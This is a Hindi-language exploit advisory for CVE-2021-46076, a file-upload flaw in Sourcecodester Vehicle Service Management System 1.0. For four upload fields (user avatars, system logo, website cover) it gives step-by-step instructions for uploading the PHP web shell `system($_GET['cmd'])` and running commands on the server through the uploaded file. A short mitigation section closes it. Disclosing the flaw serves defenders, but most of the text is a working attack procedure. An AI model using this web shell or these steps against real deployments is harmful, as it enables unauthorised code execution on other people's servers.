CVE-2021-46076
शोषण शीर्षक: वाहन सेवा प्रबंधन प्रणाली - 'एकाधिक' फ़ाइल अपलोड कोड निष्पादन की ओर ले जाता है
CVE: CVE-2021-46076
CVSS: 8.8 उच्च
संदर्भ:
विवरण:
Sourcecodester वाहन सेवा प्रबंधन प्रणाली 1.0 फ़ाइल अपलोड के प्रति संवेदनशील है। एक हमलावर कई एंडपॉइंट्स पर एक दुर्भावनापूर्ण php फ़ाइल अपलोड कर सकता है, जिससे कोड निष्पादन होता है।
1. वाहन सेवा प्रबंधन प्रणाली - 'MyAccount' (/admin/?page=user)
शोषण:
- एडमिन पैनल में लॉगिन करें http://localhost/vehicle_service/admin
- My Account अनुभाग पर जाएँ http://localhost/vehicle_service/admin/?page=user
पेलोड:
<?php system($_GET['cmd']);?>
- उपरोक्त php कोड को सहेजें, उदाहरण के लिए: Cmd.php
- My Account अनुभाग में सभी आवश्यक विवरण दर्ज करें और Avatar में php फ़ाइल ब्राउज़ करें।
- अद्यतन बटन पर क्लिक करें।
- अवतार छवि को नए टैब में खोलें।
- URL में cmd पैरामीटर जोड़ें और कमांड निष्पादित करें।
- अंतिम URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- सभी सिस्टम कमांड निष्पादित करें, उदाहरण के लिए: id, whoami, pwd आदि।
2. वाहन सेवा प्रबंधन प्रणाली - 'User List' (/admin/?page=user/manage_user)
शोषण:
- एडमिन पैनल में लॉगिन करें http://localhost/vehicle_service/admin
- User List अनुभाग पर जाएँ और Create New बटन पर क्लिक करें।
पेलोड:
<?php system($_GET['cmd']);?>
- उपरोक्त php कोड को सहेजें, उदाहरण के लिए: Cmd.php
- Create New User पृष्ठ पर सभी आवश्यक विवरण दर्ज करें और Avatar में php फ़ाइल ब्राउज़ करें।
- Save बटन पर क्लिक करें।
- अवतार छवि को नए टैब में खोलें।
- URL में cmd पैरामीटर जोड़ें और कमांड निष्पादित करें।
- अंतिम URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- सभी सिस्टम कमांड निष्पादित करें, उदाहरण के लिए: id, whoami, pwd आदि।
3. वाहन सेवा प्रबंधन प्रणाली - 'Settings-System Logo' (/admin/?page=system_info)
शोषण:
- एडमिन पैनल में लॉगिन करें http://localhost/vehicle_service/admin
- Settings अनुभाग पर जाएँ http://localhost/vehicle_service/admin/?page=system_info
पेलोड:
<?php system($_GET['cmd']);?>
- उपरोक्त php कोड को सहेजें, उदाहरण के लिए: Cmd.php
- Settings अनुभाग में सभी आवश्यक विवरण दर्ज करें और System Logo में php फ़ाइल ब्राउज़ करें।
- अद्यतन बटन पर क्लिक करें।
- System Logo छवि को नए टैब में खोलें।
- URL में cmd पैरामीटर जोड़ें और कमांड निष्पादित करें।
- अंतिम URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- सभी सिस्टम कमांड निष्पादित करें, उदाहरण के लिए: id, whoami, pwd आदि।
4. वाहन सेवा प्रबंधन प्रणाली - 'Settings-Website Cover' (/admin/?page=system_info)
शोषण:
- एडमिन पैनल में लॉगिन करें http://localhost/vehicle_service/admin
- Settings अनुभाग पर जाएँ http://localhost/vehicle_service/admin/?page=system_info
पेलोड:
<?php system($_GET['cmd']);?>
- उपरोक्त php कोड को सहेजें, उदाहरण के लिए: Cmd.php
- Settings अनुभाग में सभी आवश्यक विवरण दर्ज करें और Website Cover में php फ़ाइल ब्राउज़ करें।
- अद्यतन बटन पर क्लिक करें।
- Website Cover छवि को नए टैब में खोलें।
- URL में cmd पैरामीटर जोड़ें और कमांड निष्पादित करें।
- अंतिम URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- सभी सिस्टम कमांड निष्पादित करें, उदाहरण के लिए: id, whoami, pwd आदि।
प्रभाव:
एक हमलावर कई एंडपॉइंट्स पर दुर्भावनापूर्ण php फ़ाइल अपलोड कर सकता है, जिससे कोड निष्पादन होता है।
शमन:
निम्नलिखित लागू करने की अनुशंसा की जाती है:
- व्हाइट-लिस्ट फ़िल्टर के बिना किसी फ़ाइल नाम और उसके एक्सटेंशन को सीधे कभी स्वीकार न करें।
- यदि यूनिकोड वर्णों की आवश्यकता नहीं है, तो अत्यधिक अनुशंसा की जाती है कि फ़ाइल नाम और एक्सटेंशन के इनपुट के रूप में केवल अल्फा-न्यूमेरिक वर्ण और केवल एक डॉट स्वीकार करें।
- सेवा से इनकार (denial of service) हमलों को रोकने के लिए फ़ाइल आकार को अधिकतम मान तक सीमित करें।
- अपलोड की गई निर्देशिका में कोई "execute" अनुमति नहीं होनी चाहिए।
- केवल क्लाइंट-साइड सत्यापन पर निर्भर न रहें।